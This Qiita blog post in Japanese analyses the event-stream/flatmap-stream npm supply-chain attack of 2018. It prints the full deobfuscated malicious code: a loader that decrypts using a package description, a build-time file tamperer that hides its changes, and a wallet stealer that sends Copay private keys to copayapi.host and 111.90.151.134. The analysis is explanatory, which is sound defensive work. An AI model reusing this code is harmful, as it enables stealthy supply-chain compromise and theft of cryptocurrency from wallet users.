15
10

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

未来のハッカー(自称)がevent-stream騒動の攻撃コードを説明する

Last updated at Posted at 2018-11-29

まずお詫び。タイトルに「未来のハッカー(自称)」と書きましたが、そんなわけないです。全国のハッカーの皆様、本当に申し訳ございませんm(_ _)m

人気のnpmパッケージである「event-stream」が依存している「flatmap-stream」というパッケージにBitcoinを盗むコードが入れられた事件で、具体的に入れられた攻撃コードを解析してみました。
このページの内容が間違っていたら教えていただけると幸いです。

また、この事件に関する概要などは https://qiita.com/mysticatea/items/aac027f9183ea9f0f9b1 に詳しく書いてありました。この事件に関して知らない場合はあらかじめ読んでおくことをおすすめします。

flatmap-streamのindex.min.jsの攻撃コードの部分(整形済み)

index.min.js
!function () {
  try {
    var r = require;
    var t = process;

    function e(r) {
      return Buffer.from(r, 'hex').toString();
    }

    var n = r(e('2e2f746573742f64617461'));
    var o = t[e(n[3])][e(n[4])];

    if (!o) return;

    var u = r(e(n[2]))[e(n[6])](e(n[5]), o);
    var a = u.update(n[0], e(n[8]), e(n[9]));
    a += u.final(e(n[9]));

    var f = new module.constructor;
    f.paths = module.paths;
    f[e(n[7])](a, '');
    f.exports(n[1]);
  } catch (r) {
  }
}();

このコードの意味を順番に説明します。


var r = require,
    t = process;

この部分はminifyでこうなったのだと思います。
これからはわかりやすいようにrrequiretprocessと書きます。


function e(r) {
  return Buffer.from(r, 'hex').toString();
}

e()という関数を定義しています。16進数表記された文字列を普通の文字列に戻す処理を行っています。


var n = require(e('2e2f746573742f64617461'));

e('2e2f746573742f64617461')の結果は./test/dataなので、このコードではnという変数にtest/data.jsの内容を読み込みます。

test/data.jsは配列になっているので(長いので中身は省略)、nは配列になります。


var o = process[e(n[3])][e(n[4])];

e(n[3])の結果はenve(n[4])の結果はnpm_package_descriptionなので、このコードは

var o = process['env']['npm_package_description'];

という意味になります。

ここで processは配列じゃないと思った方もいらっしゃると思いますが、JavaScriptでは foo.barfoo['bar'] は同じ意味なので、このコードは

var o = process.env.npm_package_description; // 環境変数 "npm_package_description"の中身

となります。

ここでまた よくわからないnpm_package_description という環境変数が出てきましたが、これは npm-scriptsを実行するときに nodeが自動的にpackage.jsondescriptionの内容を格納します。
今回の攻撃は、descriptionA Secure Bitcoin Walletである場合のみ正常に動くようです。(だから余計気づかれにくかった?)


if (!o) return;

変数oの内容(環境変数 npm_package_description)が設定されていない場合は終了するようにしています。


var u = require(e(n[2]))[e(n[6])](e(n[5]), o);

e(n[2])の結果はcrypto
e(n[6])の結果はcreateDecipher
e(n[5])の結果はaes256なので、

var u = require('crypto').createDecipher('aes256', o);

となります。

このコードの意味は、「AES256で暗号化されていて、パスワードがo(=環境変数 npm_package_descriptionの内容)のデータを復号化するオブジェクトを生成して 変数uに入れる」です。
今回はデータの正しいパスワードがA Secure Bitcoin Walletなので、descriptionA Secure Bitcoin Walletであるパッケージでしか動作しません。


var a = u.update(n[0], e(n[8]), e(n[9]));
a += u.final(e(n[9]));

e(n[8])hex
e(n[9])utf8なので、
hex(16進数文字列のこと)で書かれたn[0]を復号化して変数aに入れる」という処理を行っています。

わかりやすく書き直すと

var a = u.update(n[0], 'hex', 'utf8') + u.final('utf8');

になります。
この結果は

a
/*@@*/module.exports=function(e){try{if(!/build\:.*\-release/.test(process.argv[2]))return;var t=process.env.npm_package_description,r=require("fs"),i="./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",n=r.statSync(i),c=r.readFileSync(i,"utf8"),o=require("crypto").createDecipher("aes256",t),s=o.update(e,"hex","utf8");s="\n"+(s+=o.final("utf8"));var a=c.indexOf("\n/*@@*/");0<=a&&(c=c.substr(0,a)),r.writeFileSync(i,c+s,"utf8"),r.utimesSync(i,n.atime,n.mtime),process.on("exit",function(){try{r.writeFileSync(i,c,"utf8"),r.utimesSync(i,n.atime,n.mtime)}catch(e){}})}catch(e){}};

になります。


var f = new module.constructor;
f.paths = module.paths;
f[e(n[7])](a, '');
f.exports(n[1]);

e(n[7])_compileなので、

var f = new module.constructor;
f.paths = module.paths;
f._compile(a, '');
f.exports(n[1]);

となります。
このコードの処理内容は、「変数aがエクスポートしている関数を、n[1]を引数にして呼び出す」です。
それでは変数aの処理内容を見ていきましょう。

変数aの処理内容

aの内容ですが、そのままだと読みにくいので、少し読みやすく整形しました。
コメントを入れてあるので、大体の処理の流れをつかめるかと思います。
(ここに関してはもっとわかりやすく書きなおす予定)

/*@@*/
module.exports = function (e) {
  // e は 暗号化したスクリプト
  try {
    // コマンドライン引数が「build」関係でなければ終了する(ビルドするときだけ発動する)
    if (!/build\:.*\-release/.test(process.argv[2])) return;

    var fs = require('fs');
    var i = './node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js';
    var n = fs.statSync(i);
    var c = fs.readFileSync(i, 'utf8');

    // 暗号化したスクリプトを復号する(復号結果は↓に書きます)
    var o = require('crypto').createDecipher('aes256', 'A Secure Bitcoin Wallet');
    var s = o.update(e, 'hex', 'utf8');
    s = '\n' + s + o.final('utf8');

    var a = c.indexOf('\n/*@@*/');
    0 <= a && (c = c.substr(0, a));

    // 他の処理で使うファイルを改ざんする(暗号化してあったスクリプトを混入させる)
    fs.writeFileSync(i, c + s, 'utf8');
    fs.utimesSync(i, n.atime, n.mtime);

    // プロセスの終了時に
    process.on('exit', function () {
      try {
        // 改ざんしたファイルを改ざんする前の状態に戻す(更新日時も変更しない)
        fs.writeFileSync(i, c, 'utf8');
        fs.utimesSync(i, n.atime, n.mtime);
      } catch (e) {
      }
    });
  } catch (e) {
  }
};

暗号化してあったスクリプト

/*@@*/
!function () {
  function e() {
    try {
      var http = require('http');
      var crypto = require('crypto');
      var publicKey = '-----BEGIN PUBLIC KEY-----\n' +
              'MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\n' +
              'DXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\n' +
              'BOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n' +
              '2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\n' +
              'PDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\n' +
              'LlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n' +
              '2wIDAQAB\n' +
              '-----END PUBLIC KEY-----';

      /**
       * 指定したホストの8080番ポートにHTTPのPOSTでファイルを送信する
       * @param e 16進数で表記したホスト名
       * @param t POSTするパス
       * @param n 送信するファイル
       */
      function uploadFile(e, t, n) {
        e = Buffer.from(e, 'hex').toString();
        var r = http.request({
          hostname: e,
          port: 8080,
          method: 'POST',
          path: '/' + t,
          headers: {'Content-Length': n.length, 'Content-Type': 'text/html'}
        }, function () {
        });
        r.on('error', function (e) {
        }), r.write(n), r.end();
      }

      function r(e, t) {
        for (var n = '', r = 0; r < t.length; r += 200) {
          var o = t.substr(r, 200);
          // 公開鍵暗号を使ってファイルを暗号化している
          n += crypto.publicEncrypt(publicKey, Buffer.from(o, 'utf8')).toString('hex') + '+';
        }

        // copayapi.hostに送信する
        uploadFile('636f7061796170692e686f7374', e, n);

        // 111.90.151.134に送信する
        uploadFile('3131312e39302e3135312e313334', e, n);
      }

      function l(t, n) {
        if (window.cordova) try {
          var e = cordova.file.dataDirectory;
          resolveLocalFileSystemURL(e, function (e) {
            e.getFile(t, {create: !1}, function (e) {
              e.file(function (e) {
                var t = new FileReader;
                t.onloadend = function () {
                  return n(JSON.parse(t.result));
                }, t.onerror = function (e) {
                  t.abort();
                }, t.readAsText(e);
              });
            });
          });
        } catch (e) {
        } else {
          try {
            var r = localStorage.getItem(t);
            if (r) return n(JSON.parse(r));
          } catch (e) {
          }
          try {
            chrome.storage.local.get(t, function (e) {
              if (e) return n(JSON.parse(e[t]));
            });
          } catch (e) {
          }
        }
      }

      global.CSSMap = {}, l('profile', function (e) {
        for (var t in e.credentials) {
          var n = e.credentials[t];
          'livenet' == n.network && l('balanceCache-' + n.walletId, function (e) {
            var t = this;
            t.balance = parseFloat(e.balance.split(' ')[0]), 'btc' == t.coin && t.balance < 100 || 'bch' == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r('c', JSON.stringify(t)));
          }.bind(n));
        }
      });
      var e = require('bitcore-wallet-client/lib/credentials.js');
      e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function (e) {
        var t = this.getKeysFunc(e);
        try {
          global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r('p', e + '\\t' + this.xPubKey));
        } catch (e) {
        }
        return t;
      };
    } catch (e) {
    }
  }

  window.cordova ? document.addEventListener('deviceready', e) : e();
}();
15
10
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
15
10

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?